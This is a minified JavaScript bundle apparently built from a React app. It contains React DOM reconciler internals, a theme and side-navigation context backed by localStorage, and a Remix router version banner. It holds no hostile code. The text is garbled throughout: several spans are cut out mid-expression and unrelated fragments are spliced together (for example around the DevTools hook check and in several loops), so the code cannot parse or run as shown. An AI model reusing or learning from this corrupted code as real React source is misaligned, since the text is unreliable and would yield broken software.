SI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ep(0),this.expirationTimes=Ep(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ep(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function nt(s,a,n,l,p,e,c,t,o){return s=new SI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Sc(e),s}function xI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Pi)}catch(s){console.error(s)}}Pi(),Lo.exports=ks;var QI=Lo.exports,$i,qi,yo=QI;qi=yo.createRoot,$i=yo.hydrateRoot;const sg={theme:"light",sideNav:!0,initialized:!1},ag=B.createContext({state:sg,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function ct(){return B.useContext(ag)}function mo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const bo=({children:s})=>{const[a,n]=B.useState(sg);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),mo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),mo("sideNav",t)}return r.jsx(ag.Provider,{value:B.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** - * @remix-run/router v1.15.3 +`+e.stack}return{value:s,source:a,stack:p,digest:null}}function te(s,a,n){return{value:s,source:null,stack:n??null,digest:a??null}}function Ue(s,a){try{console.error(a.value)}catch(n){setTimeout(function(){throw n})}}var yI=typeof WeakMap=="function"?WeakMap:Map;function ki(s,a,n){n=_s(-1,n),n.tag=3,n.payload={element:null};var l=a.value;return n.callback=function(){ip||(ip=!0,lc=l),Ue(s,a)},n}function Zi(s,a,n){n=_s(-1,n),n.tag=3;var l=s.type.getDerivedStateFromError;if(typeof l=="function"){var p=a.value;n.payload=function(){return l(p)},n.callback=function(){Ue(s,a)}}var e=s.stateNode;return e!==null&&typeof e.componentDidCatch=="function"&&(n.callback=function(){Ue(s,a),typeof l!="function"&&(da===null?da=new Set([this]):da.add(this));var c=a.stack;this.componentDidCatch(a.value,{componentStack:c!==null?c:""})}),n}function ao(s,a,n){var l=s.pingCache;if(l===null){l=s.pingCache=new yI;var p=new Set;l.set(a,p)}else p=l.get(a),p===void 0&&(p=new Set,l.set(a,p));p.has(n)||(p.add(n),s=RI.bind(null,s,a,n),a.then(s,s))}function no(s){do{var a;if((a=s.tag===13)&&(a=s.memoizedState,a=a!==null?a.dehydrated!==null:!0),a)return s;s=s.return}while(s!==null);return null}function lo(s,a,n,l,p){return s.mode&1?(s.flags|=65536,s.lanes=p,s):(s===a?s.flags|=65536:(s.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(a=_s(-1,1),a.tag=2,Ia(n,a,1))),n.lanes|=1),s)}var mI=qs.ReactCurrentOwner,Cs=!1;function rs(s,a,n,l){a.child=s===null?qr(a,null,n,l):on(a,s.child,n,l)}function po(s,a,n,l,p){n=n.render;var e=a.ref;return ln(a,p),l=Qc(s,a,n,l,e,p),n=Tc(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&n&&Rc(a),a.flags|=1,rs(s,a,l,p),a.child)}function eo(s,a,n,l,p){if(s===null){var e=n.type;return typeof e=="function"&&!nt(e)&&e.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(a.tag=15,a.type=e,Wi(s,a,e,l,p)):(s=Dl(n.type,null,l,a,a.mode,p),s.ref=a.ref,s.return=a,a.child=s)}if(e=s.child,!(s.lanes&p)){var c=e.memoizedProps;if(n=n.compare,n=n!==null?n:_n,n(c,l)&&s.ref===a.ref)return $s(s,a,p)}return a.flags|=1,s=ja(e,l),s.ref=a.ref,s.return=a,a.child=s}function Wi(s,a,n,l,p){if(s!==null){var e=s.memoizedProps;if(_n(e,l)&&s.ref===a.ref)if(Cs=!1,a.pendingProps=l=e,(s.lanes&p)!==0)s.flags&131072&&(Cs=!0);else return a.lanes=s.lanes,$s(s,a,p)}return _e(s,a,n,l,p)}function Bi(s,a,n){var l=a.pendingProps,p=l.children,e=s!==null?s.memoizedState:null;if(l.mode==="hidden")if(!(a.mode&1))a.memoizedState={baseLanes:0,cachePool:null,transitions:null},F($a,ys),ys|=n;else{if(!(n&1073741824))return s=e!==null?e.baseLanes|n:n,a.lanes=a.childLanes=1073741824,a.memoizedState={baseLanes:s,cachePool:null,transitions:null},a.updateQueue=null,F($a,ys),ys|=s,null;a.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=e!==null?e.baseLanes:n,F($a,ys),ys|=l}else e!==null?(l=e.baseLanes|n,a.memoizedState=null):l=n,F($a,ys),ys|=l;return rs(s,a,p,n),a.child}function Gi(s,a){var n=a.ref;(s===null&&n!==null||s!==null&&s.ref!==n)&&(a.flags|=512,a.flags|=2097152)}function _e(s,a,n,l,p){var e=As(n)?va:os.current;return e=cn(a,e),ln(a,p),n=Qc(s,a,n,l,e,p),l=Tc(),s!==null&&!Cs?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,$s(s,a,p)):(J&&l&&Rc(a),a.flags|=1,rs(s,a,n,p),a.child)}function co(s,a,n,l,p){if(As(n)){var e=!0;sp(a)}else e=!1;if(ln(a,p),a.stateNode===null)xl(s,a),wi(a,n,l),Te(a,n,l,p),l=!0;else if(s===null){var c=a.stateNode,t=a.memoizedProps;c.props=t;var o=c.context,i=n.contextType;typeof i=="object"&&i!==null?i=fs(i):(i=As(n)?va:os.current,i=cn(a,i));var I=n.getDerivedStateFromProps,d=typeof I=="function"||typeof c.getSnapshotBeforeUpdate=="function";d||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==l||o!==i)&&so(a,c,l,i),la=!1;var j=a.memoizedState;c.state=j,ep(a,l,c,p),o=a.memoizedState,t!==l||j!==o||js.current||la?(typeof I=="function"&&(Qe(a,n,I,l),o=a.memoizedState),(t=la||qt(a,n,t,l,j,o,i))?(d||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount()),typeof c.componentDidMount=="function"&&(a.flags|=4194308)):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),a.memoizedProps=l,a.memoizedState=o),c.props=l,c.state=o,c.context=i,l=t):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),l=!1)}else{c=a.stateNode,ai(s,a),t=a.memoizedProps,i=a.type===a.elementType?t:Rs(a.type,t),c.props=i,d=a.pendingProps,j=c.context,o=n.contextType,typeof o=="object"&&o!==null?o=fs(o):(o=As(n)?va:os.current,o=cn(a,o));var u=n.getDerivedStateFromProps;(I=typeof u=="function"||typeof c.getSnapshotBeforeUpdate=="function")||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==d||j!==o)&&so(a,c,l,o),la=!1,j=a.memoizedState,c.state=j,ep(a,l,c,p);var m=a.memoizedState;t!==d||j!==m||js.current||la?(typeof u=="function"&&(Qe(a,n,u,l),m=a.memoizedState),(i=la||qt(a,n,i,l,j,m,o)||!1)?(I||typeof c.UNSAFE_componentWillUpdate!="function"&&typeof c.componentWillUpdate!="function"||(typeof c.componentWillUpdate=="function"&&c.componentWillUpdate(l,m,o),typeof c.UNSAFE_componentWillUpdate=="function"&&c.UNSAFE_componentWillUpdate(l,m,o)),typeof c.componentDidUpdate=="function"&&(a.flags|=4),typeof c.getSnapshotBeforeUpdate=="function"&&(a.flags|=1024)):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),a.memoizedProps=l,a.memoizedState=m),c.props=l,c.state=m,c.context=o,l=i):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),l=!1)}return Le(s,a,n,l,e,p)}function Le(s,a,n,l,p,e){Gi(s,a);var c=(a.flags&128)!==0;if(!l&&!c)return p&&Qt(a,n,!1),$s(s,a,e);l=a.stateNode,mI.current=a;var t=c&&typeof n.getDerivedStateFromError!="function"?null:l.render();return a.flags|=1,s!==null&&c?(a.child=on(a,s.child,null,e),a.child=on(a,null,t,e)):rs(s,a,t,e),a.memoizedState=l.state,p&&Qt(a,n,!0),a.child}function Vi(s){var a=s.stateNode;a.pendingContext?Et(s,a.pendingContext,a.pendingContext!==a.context):a.context&&Et(s,a.context,!1),Jc(s,a.containerInfo)}function to(s,a,n,l,p){return tn(),Hc(p),a.flags|=256,rs(s,a,n,l),a.child}var Oe={dehydrated:null,treeContext:null,retryLane:0};function Pe(s){return{baseLanes:s,cachePool:null,transitions:null}}function fi(s,a,n){var l=a.pendingProps,p=z.current,e=!1,c=(a.flags&128)!==0,t;if((t=c)||(t=s!==null&&s.memoizedState===null?!1:(p&2)!==0),t?(e=!0,a.flags&=-129):(s===null||s.memoizedState!==null)&&(p|=1),F(z,p&1),s===null)return De(a),s=a.memoizedState,s!==null&&(s=s.dehydrated,s!==null)?(a.mode&1?s.data==="$!"?a.lanes=8:a.lanes=1073741824:a.lanes=1,null):(c=l.children,s=l.fallback,e?(l=a.mode,e=a.child,c={mode:"hidden",children:c},!(l&1)&&e!==null?(e.childLanes=0,e.pendingProps=c):e=Gp(c,l,0,null),s=Ya(s,l,n,null),e.return=a,s.return=a,e.sibling=s,a.child=e,a.child.memoizedState=Pe(n),a.memoizedState=Oe,s):Lc(a,c));if(p=s.memoizedState,p!==null&&(t=p.dehydrated,t!==null))return bI(s,a,c,l,t,p,n);if(e){e=l.fallback,c=a.mode,p=s.child,t=p.sibling;var o={mode:"hidden",children:l.children};return!(c&1)&&a.child!==p?(l=a.child,l.childLanes=0,l.pendingProps=o,a.deletions=null):(l=ja(p,o),l.subtreeFlags=p.subtreeFlags&14680064),t!==null?e=ja(t,e):(e=Ya(e,c,n,null),e.flags|=2),e.return=a,l.return=a,l.sibling=e,a.child=l,l=e,e=a.child,c=s.child.memoizedState,c=c===null?Pe(n):{baseLanes:c.baseLanes|n,cachePool:null,transitions:c.transitions},e.memoizedState=c,e.childLanes=s.childLanes&~n,a.memoizedState=Oe,l}return e=s.child,s=e.sibling,l=ja(e,{mode:"visible",children:l.children}),!(a.mode&1)&&(l.lanes=n),l.return=a,l.sibling=null,s!==null&&(n=a.deletions,n===null?(a.deletions=[s],a.flags|=16):n.push(s)),a.child=l,a.memoizedState=null,l}function Lc(s,a){return a=Gp({mode:"visible",children:a},s.mode,0,null),a.return=s,s.child=a}function Gl(s,a,n,l){return l!==null&&Hc(l),on(a,s.child,null,n),s=Lc(a,a.pendingProps.children),s.flags|=2,a.memoizedState=null,s}function bI(s,a,n,l,p,e,c){if(n)return a.flags&256?(a.flags&=-257,l=te(Error(w(422))),Gl(s,a,c,l)):a.memoizedState!==null?(a.child=s.child,a.flags|=128,null):(e=l.fallback,p=a.mode,l=Gp({mode:"visible",children:l.children},p,0,null),e=Ya(e,p,c,null),e.flags|=2,l.return=a,e.return=a,l.sibling=e,a.child=l,a.mode&1&&on(a,s.child,null,c),a.child.memoizedState=Pe(c),a.memoizedState=Oe,e);if(!(a.mode&1))return Gl(s,a,c,null);if(p.data==="$!"){if(l=p.nextSibling&&p.nextSibling.dataset,l)var t=l.dgst;return l=t,e=Error(w(419)),l=te(e,l,void 0),Gl(s,a,c,l)}if(t=(c&s.childLanes)!==0,Cs||t){if(l=ss,l!==null){switch(c&-c){case 4:p=2;break;case 16:p=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:p=32;break;case 536870912:p=268435456;break;default:p=0}p=p&(l.suspendedLanes|c)?0:p,p!==0&&p!==e.retryLane&&(e.retryLane=p,Ps(s,p),Fs(l,s,p,-1))}return at(),l=te(Error(w(421))),Gl(s,a,c,l)}return p.data==="$?"?(a.flags|=128,a.child=s.child,a=NI.bind(null,s),p._reactRetry=a,null):(s=e.treeContext,ms=ha(p.nextSibling),bs=a,J=!0,Hs=null,s!==null&&(Ws[Bs++]=Ts,Ws[Bs++]=Us,Ws[Bs++]=Ra,Ts=s.id,Us=s.overflow,Ra=a),a=Lc(a,l.children),a.flags|=4096,a)}function oo(s,a,n){s.lanes|=a;var l=s.alternate;l!==null&&(l.lanes|=a),Ee(s.return,a,n)}function oe(s,a,n,l,p){var e=s.memoizedState;e===null?s.memoizedState={isBackwards:a,rendering:null,renderingStartTime:0,last:l,tail:n,tailMode:p}:(e.isBackwards=a,e.rendering=null,e.renderingStartTime=0,e.last=l,e.tail=n,e.tailMode=p)}function Yi(s,a,n){var l=a.pendingProps,p=l.revealOrder,e=l.tail;if(rs(s,a,l.children,n),l=z.current,l&2)l=l&1|2,a.flags|=128;else{if(s!==null&&s.flags&128)s:for(s=a.child;s!==null;){if(s.tag===13)s.memoizedState!==null&&oo(s,n,a);else if(s.tag===19)oo(s,n,a);else if(s.child!==null){s.child.return=s,s=s.child;continue}if(s===a)break s;for(;s.sibling===null;){if(s.return===null||s.return===a)break s;s=s.return}s.sibling.return=s.return,s=s.sibling}l&=1}if(F(z,l),!(a.mode&1))a.memoizedState=null;else switch(p){case"forwards":for(n=a.child,p=null;n!==null;)s=n.alternate,s!==null&&cp(s)===null&&(p=n),n=n.sibling;n=p,n===null?(p=a.child,a.child=null):(p=n.sibling,n.sibling=null),oe(a,!1,p,n,e);break;case"backwards":for(n=null,p=a.child,a.child=null;p!==null;){if(s=p.alternate,s!==null&&cp(s)===null){a.child=p;break}s=p.sibling,p.sibling=n,n=p,p=s}oe(a,!0,n,null,e);break;case"together":oe(a,!1,null,null,void 0);break;default:a.memoizedState=null}return a.child}function xl(s,a){!(a.mode&1)&&s!==null&&(s.alternate=null,a.alternate=null,a.flags|=2)}function $s(s,a,n){if(s!==null&&(a.dependencies=s.dependencies),Ha|=a.lanes,!(n&a.childLanes))return null;if(s!==null&&a.child!==s.child)throw Error(w(153));if(a.child!==null){for(s=a.child,n=ja(s,s.pendingProps),a.child=n,n.return=a;s.sibling!==null;)s=s.sibling,n=n.sibling=ja(s,s.pendingProps),n.return=a;n.sibling=null}return a.child}function wI(s,a,n){switch(a.tag){case 3:Vi(a),tn();break;case 5:ni(a);break;case 1:As(a.type)&&sp(a);break;case 4:Jc(a,a.stateNode.containerInfo);break;case 10:var l=a.type._context,p=a.memoizedProps.value;F(lp,l._currentValue),l._currentValue=p;break;case 13:if(l=a.memoizedState,l!==null)return l.dehydrated!==null?(F(z,z.current&1),a.flags|=128,null):n&a.child.childLanes?fi(s,a,n):(F(z,z.current&1),s=$s(s,a,n),s!==null?s.sibling:null);F(z,z.current&1);break;case 19:if(l=(n&a.childLanes)!==0,s.flags&128){if(l)return Yi(s,a,n);a.flags|=128}if(p=a.memoizedState,p!==null&&(p.rendering=null,p.tail=null,p.lastEffect=null),F(z,z.current),l)break;return null;case 22:case 23:return a.lanes=0,Bi(s,a,n)}return $s(s,a,n)}var Xi,$e,vi,Ri;Xi=function(s,a){for(var n=a.child;n!==null;){if(n.tag===5||n.tag===6)s.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===a)break;for(;n.sibling===null;){if(n.return===null||n.return===a)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};$e=function(){};vi=function(s,a,n,l){var p=s.memoizedProps;if(p!==l){s=a.stateNode,Va(Ds.current);var e=null;switch(n){case"input":p=me(s,p),l=me(s,l),e=[];break;case"select":p=E({},p,{value:void 0}),l=E({},l,{value:void 0}),e=[];break;case"textarea":p=ke(s,p),l=ke(s,l),e=[];break;default:typeof p.onClick!="function"&&typeof l.onClick=="function"&&(s.onclick=$l)}We(n,l);var c;n=null;for(i in p)if(!l.hasOwnProperty(i)&&p.hasOwnProperty(i)&&p[i]!=null)if(i==="style"){var t=p[i];for(c in t)t.hasOwnProperty(c)&&(n||(n={}),n[c]="")}else i!=="dangerouslySetInnerHTML"&&i!=="children"&&i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&i!=="autoFocus"&&(Jn.hasOwnProperty(i)?e||(e=[]):(e=e||[]).push(i,null));for(i in l){var o=l[i];if(t=p!=null?p[i]:void 0,l.hasOwnProperty(i)&&o!==t&&(o!=null||t!=null))if(i==="style")if(t){for(c in t)!t.hasOwnProperty(c)||o&&o.hasOwnProperty(c)||(n||(n={}),n[c]="");for(c in o)o.hasOwnProperty(c)&&t[c]!==o[c]&&(n||(n={}),n[c]=o[c])}else n||(e||(e=[]),e.push(i,n)),n=o;else i==="dangerouslySetInnerHTML"?(o=o?o.__html:void 0,t=t?t.__html:void 0,o!=null&&t!==o&&(e=e||[]).push(i,o)):i==="children"?typeof o!="string"&&typeof o!="number"||(e=e||[]).push(i,""+o):i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&(Jn.hasOwnProperty(i)?(o!=null&&i==="onScroll"&&M("scroll",s),e||t===o||(e=[])):(e=e||[]).push(i,o))}n&&(e=e||[]).push("style",n);var i=e;(a.updateQueue=i)&&(a.flags|=4)}};Ri=function(s,a,n,l){n!==l&&(a.flags|=4)};function Bn(s,a){if(!J)switch(s.tailMode){case"hidden":a=s.tail;for(var n=null;a!==null;)a.alternate!==null&&(n=a),a=a.sibling;n===null?s.tail=null:n.sibling=null;break;case"collapsed":n=s.tail;for(var l=null;n!==null;)n.alternate!==null&&(l=n),n=n.sibling;l===null?a||s.tail===null?s.tail=null:s.tail.sibling=null:l.sibling=null}}function cs(s){var a=s.alternate!==null&&s.alternate.child===s.child,n=0,l=0;if(a)for(var p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags&14680064,l|=p.flags&14680064,p.return=s,p=p.sibling;else for(p=s.child;p!==null;)n|=p.lanes|p.childLanes,l|=p.subtreeFlags,l|=p.flags,p.return=s,p=p.sibling;return s.subtreeFlags|=l,s.childLanes=n,a}function kI(s,a,n){var l=a.pendingProps;switch(Nc(a),a.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return cs(a),null;case 1:return As(a.type)&&ql(),cs(a),null;case 3:return l=a.stateNode,rn(),S(js),S(os),Dc(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(s===null||s.child===null)&&(Wl(a)?a.flags|=4:s===null||s.memoizedState.isDehydrated&&!(a.flags&256)||(a.flags|=1024,Hs!==null&&(cc(Hs),Hs=null))),$e(s,a),cs(a),null;case 5:zc(a);var p=Va(qn.current);if(n=a.type,s!==null&&a.stateNode!=null)vi(s,a,n,l,p),s.ref!==a.ref&&(a.flags|=512,a.flags|=2097152);else{if(!l){if(a.stateNode===null)throw Error(w(166));return cs(a),null}if(s=Va(Ds.current),Wl(a)){l=a.stateNode,n=a.type;var e=a.memoizedProps;switch(l[Js]=a,l[Pn]=e,s=(a.mode&1)!==0,n){case"dialog":M("cancel",l),M("close",l);break;case"iframe":case"object":case"embed":M("load",l);break;case"video":case"audio":for(p=0;p<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Be(n,l),n){case"dialog":M("cancel",s),M("close",s),p=l;break;case"iframe":case"object":case"embed":M("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Bn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*U()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Bn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=U(),a.sibling=null,n=z.current,F(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return st(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?ys&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function ZI(s,a){switch(Nc(a),a.tag){case 1:return As(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),S(js),S(os),Dc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return zc(a),null;case 13:if(S(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return S(z),null;case 4:return rn(),null;case 10:return Mc(a.type._context),null;case 22:case 23:return st(),null;case 24:return null;default:return null}}var Vl=!1,ts=!1,WI=typeof WeakSet=="function"?WeakSet:Set,V=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var ro=!1;function BI(s,a){if(Ke=Ll,s=Mr(),vc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var u;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(u=d.firstChild)!==null;)j=d,d=u;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(u=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=u}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Fe={focusedElem:s,selectionRange:n},Ll=!1,V=a;V!==null;)if(a=V,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,V=s;else for(;V!==null;){a=V;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,B=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:Rs(a.type,b),B);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,V=s;break}V=a.return}return m=ro,ro=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[oI],delete a[rI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Hi(s){return s.tag===5||s.tag===3||s.tag===4}function io(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Hi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function sa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(Ap,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,sa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),Tn(s)):ae(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,sa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function go(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new WI),a.forEach(function(l){var p=HI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function vs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*VI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,gp=0,H&6)throw Error(w(331));var p=H;for(H|=4,V=s.current;V!==null;){var e=V,c=e.child;if(V.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-$c?fa(s,0):Pc|=n),us(s,a)}function Ei(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=Ps(s,a),s!==null&&(tl(s,a,n),us(s,n))}function NI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Ei(s,n)}function HI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Ei(s,n)}var Qi;Qi=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,wI(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&Lr(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;xl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Qc(null,a,l,s,p,n);var e=Tc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof 